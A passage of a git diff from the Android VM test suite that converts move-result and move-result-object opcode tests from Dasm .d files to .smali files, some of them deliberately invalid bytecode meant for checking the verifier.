-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_result_7.java
-.class public dot.junit.opcodes.move_result.d.T_move_result_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()V
-.limit regs 16
-
-    goto Label1
-    invoke-static {} dot/junit/opcodes/move_result/d/T_move_result_7/foo()I
-Label1:
-    move-result v1
-    
-    return-void
-.end method
-
-.method private static foo()I
-.limit regs 1
-
-     const v0, 12345
-     return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_7.smali
new file mode 100644
index 0000000..b42b074
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_7.smali
@@ -0,0 +1,45 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_result_7.java"
+.class  public Ldot/junit/opcodes/move_result/d/T_move_result_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()V
+.registers 16
+
+    goto :Label1
+    invoke-static {} , Ldot/junit/opcodes/move_result/d/T_move_result_7;->foo()I
+:Label1
+    move-result v1
+    
+    return-void
+.end method
+
+.method private static foo()I
+.registers 1
+
+     const v0, 12345
+     return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_8.d
deleted file mode 100644
index da32cd0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_8.d
+++ /dev/null
@@ -1,46 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_result_8.java
-.class public dot.junit.opcodes.move_result.d.T_move_result_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()V
-.limit regs 16
-
-    const v0, 0
-    
-    invoke-static {} dot/junit/opcodes/move_result/d/T_move_result_8/foo()I
-
-    move-result v16
-    return-void
-
-.end method
-
-.method private static foo()I
-.limit regs 1
-
-     const v0, 12345
-     return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_8.smali
new file mode 100644
index 0000000..0af3ea7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_8.smali
@@ -0,0 +1,46 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_result_8.java"
+.class  public Ldot/junit/opcodes/move_result/d/T_move_result_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()V
+.registers 16
+
+    const v0, 0
+    
+    invoke-static {} , Ldot/junit/opcodes/move_result/d/T_move_result_8;->foo()I
+
+    move-result v16
+    return-void
+
+.end method
+
+.method private static foo()I
+.registers 1
+
+     const v0, 12345
+     return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_1.d
deleted file mode 100644
index 433b86f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_1.d
+++ /dev/null
@@ -1,53 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_result_1.java
-.class public dot.junit.opcodes.move_result_object.d.T_move_result_object_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Z
-.limit regs 16
-
-    const v0, 0
-    
-    invoke-direct {v15} dot/junit/opcodes/move_result_object/d/T_move_result_object_1/foo()Ljava/lang/Object;
-
-    move-result-object v0
-    
-    if-eq v0, v15, Label1
-
-    const v0, 0
-    return v0
-    
-Label1:
-    const v0, 1
-    return v0
-
-.end method
-
-.method private foo()Ljava/lang/Object;
-.limit regs 1
-
-     return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_1.smali
new file mode 100644
index 0000000..b3b76fa
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_1.smali
@@ -0,0 +1,53 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_result_1.java"
+.class  public Ldot/junit/opcodes/move_result_object/d/T_move_result_object_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Z
+.registers 16
+
+    const v0, 0
+    
+    invoke-direct {v15} , Ldot/junit/opcodes/move_result_object/d/T_move_result_object_1;->foo()Ljava/lang/Object;
+
+    move-result-object v0
+    
+    if-eq v0, v15, :Label1
+
+    const v0, 0
+    return v0
+    
+:Label1
+    const v0, 1
+    return v0
+
+.end method
+
+.method private foo()Ljava/lang/Object;
+.registers 1
+
+     return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_2.d
deleted file mode 100644
index 22c1b0c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_2.d
+++ /dev/null
@@ -1,42 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_result_object_2.java
-.class public dot.junit.opcodes.move_result_object.d.T_move_result_object_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 16
-
-    invoke-direct {v15} dot/junit/opcodes/move_result_object/d/T_move_result_object_2/foo()Ljava/lang/Object;
-    move-result-object v16
-    
-    return-void
-.end method
-
-.method private foo()Ljava/lang/Object;
-.limit regs 1
-
-     return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_2.smali
new file mode 100644
index 0000000..e8281df
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_2.smali
@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_result_object_2.java"
+.class  public Ldot/junit/opcodes/move_result_object/d/T_move_result_object_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 16
+
+    invoke-direct {v15} , Ldot/junit/opcodes/move_result_object/d/T_move_result_object_2;->foo()Ljava/lang/Object;
+    move-result-object v16
+    
+    return-void
+.end method
+
+.method private foo()Ljava/lang/Object;
+.registers 1
+
+     return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_3.d
deleted file mode 100644
index a788844..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_3.d
+++ /dev/null
@@ -1,42 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_result_object_3.java
-.class public dot.junit.opcodes.move_result_object.d.T_move_result_object_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 16
-
-    invoke-direct {v15} dot/junit/opcodes/move_result_object/d/T_move_result_object_3/foo()I
-    move-result-object v0
-    
-    return-void
-.end method
-
-.method private foo()I
-.limit regs 1
-     const v0, 1
-     return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_3.smali
new file mode 100644
index 0000000..9eb861c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_3.smali
@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_result_object_3.java"
+.class  public Ldot/junit/opcodes/move_result_object/d/T_move_result_object_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 16
+
+    invoke-direct {v15} , Ldot/junit/opcodes/move_result_object/d/T_move_result_object_3;->foo()I
+    move-result-object v0
+    
+    return-void
+.end method
+
+.method private foo()I
+.registers 1
+     const v0, 1
+     return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_4.d
deleted file mode 100644
index b3229b7..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_4.d
+++ /dev/null
@@ -1,43 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_result_object_4.java
-.class public dot.junit.opcodes.move_result_object.d.T_move_result_object_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 16
-
-    invoke-direct {v15} dot/junit/opcodes/move_result_object/d/T_move_result_object_4/foo()J
-    move-result-object v0
-    
-    return-void
-.end method
-
-.method private foo()J
-.limit regs 2
-
-    const-wide v0, 1234
-    return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_4.smali
new file mode 100644
index 0000000..4d84518
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_4.smali
@@ -0,0 +1,43 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_result_object_4.java"
+.class  public Ldot/junit/opcodes/move_result_object/d/T_move_result_object_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 16
+
+    invoke-direct {v15} , Ldot/junit/opcodes/move_result_object/d/T_move_result_object_4;->foo()J
+    move-result-object v0
+    
+    return-void
+.end method
+
+.method private foo()J
+.registers 2
+
+    const-wide v0, 1234
+    return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_5.d
deleted file mode 100644
index 6216f18..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_5.d
+++ /dev/null
@@ -1,43 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_result_object_5.java
-.class public dot.junit.opcodes.move_result_object.d.T_move_result_object_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 16
-
-    const-wide v0, 123
-
-    invoke-direct {v15} dot/junit/opcodes/move_result_object/d/T_move_result_object_5/foo()Ljava/lang/Object;
-    move-result-object v1
-    
-    return-wide v0
-.end method
-
-.method private foo()Ljava/lang/Object;
-.limit regs 1
-
-     return-object v0
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_5.smali
new file mode 100644
index 0000000..cad59ab
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_5.smali
@@ -0,0 +1,43 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_result_object_5.java"
+.class  public Ldot/junit/opcodes/move_result_object/d/T_move_result_object_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 16
+
+    const-wide v0, 123
+
+    invoke-direct {v15} , Ldot/junit/opcodes/move_result_object/d/T_move_result_object_5;->foo()Ljava/lang/Object;
+    move-result-object v1
+    
+    return-wide v0
+.end method
+
+.method private foo()Ljava/lang/Object;
+.registers 1
+
+     return-object v0
+.end method
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_6.d
deleted file mode 100644
index 8de3274..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_6.d
+++ /dev/null
@@ -1,42 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_result_object_6.java
-.class public dot.junit.opcodes.move_result_object.d.T_move_result_object_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 16
-
-    invoke-direct {v15} dot/junit/opcodes/move_result_object/d/T_move_result_object_6/foo()Ljava/lang/Object;
-    nop
-    move-result-object v1
-    
-    return-void
-.end method
-
-.method private foo()Ljava/lang/Object;
-.limit regs 1
-
-     return-object v0
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_6.smali
new file mode 100644
index 0000000..dcbb5a5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_6.smali
@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_result_object_6.java"
+.class  public Ldot/junit/opcodes/move_result_object/d/T_move_result_object_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 16
+
+    invoke-direct {v15} , Ldot/junit/opcodes/move_result_object/d/T_move_result_object_6;->foo()Ljava/lang/Object;
+    nop
+    move-result-object v1
+    
+    return-void
+.end method
+
+.method private foo()Ljava/lang/Object;
+.registers 1
+
+     return-object v0
+.end method
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_7.d
deleted file mode 100644
index 088b386..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_7.d
+++ /dev/null
@@ -1,44 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_result_object_7.java
-.class public dot.junit.opcodes.move_result_object.d.T_move_result_object_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 16
-
-    goto Label1
-    invoke-direct {v15} dot/junit/opcodes/move_result_object/d/T_move_result_object_7/foo()Ljava/lang/Object;
-Label1:
-    move-result-object v1
-    
-    return-void
-.end method
-
-.method private foo()Ljava/lang/Object;
-.limit regs 1
-
-     return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_7.smali
new file mode 100644
index 0000000..f340f46
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_7.smali
@@ -0,0 +1,44 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_result_object_7.java"
+.class  public Ldot/junit/opcodes/move_result_object/d/T_move_result_object_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 16
+
+    goto :Label1
+    invoke-direct {v15} , Ldot/junit/opcodes/move_result_object/d/T_move_result_object_7;->foo()Ljava/lang/Object;
+:Label1
+    move-result-object v1
+    
+    return-void
+.end method
+
+.method private foo()Ljava/lang/Object;
+.registers 1
+
+     return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_8.d
deleted file mode 100644
index 0cbb044..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_8.d
+++ /dev/null
@@ -1,39 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_result_8.java
-.class public dot.junit.opcodes.move_result_object.d.T_move_result_object_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()[I
-.limit regs 16
-    const v1, 1
-    const v2, 2
-    filled-new-array {v1, v2}, [I
-    move-result-object v5
-    
-    return-object v5
-
-.end method
-
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_8.smali
new file mode 100644
index 0000000..2499159
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_8.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_result_8.java"
+.class  public Ldot/junit/opcodes/move_result_object/d/T_move_result_object_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()[I
+.registers 16
+    const v1, 1
+    const v2, 2
+    filled-new-array {v1, v2}, [I
+    move-result-object v5
+    
+    return-object v5
+
+.end method
+
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_9.d
deleted file mode 100644
index 92600b9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_9.d
+++ /dev/null
@@ -1,43 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_result_9.java
-.class public dot.junit.opcodes.move_result_object.d.T_move_result_object_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 16
-    
-    invoke-direct {v15} dot/junit/opcodes/move_result_object/d/T_move_result_object_9/foo()Ljava/lang/Object;
-
-    move-result-object v16
-    return-void
-
-.end method
-
-.method private foo()Ljava/lang/Object;
-.limit regs 1
-
-     return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_9.smali
new file mode 100644
index 0000000..9eb2023
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_9.smali
@@ -0,0 +1,43 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_result_9.java"
+.class  public Ldot/junit/opcodes/move_result_object/d/T_move_result_object_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
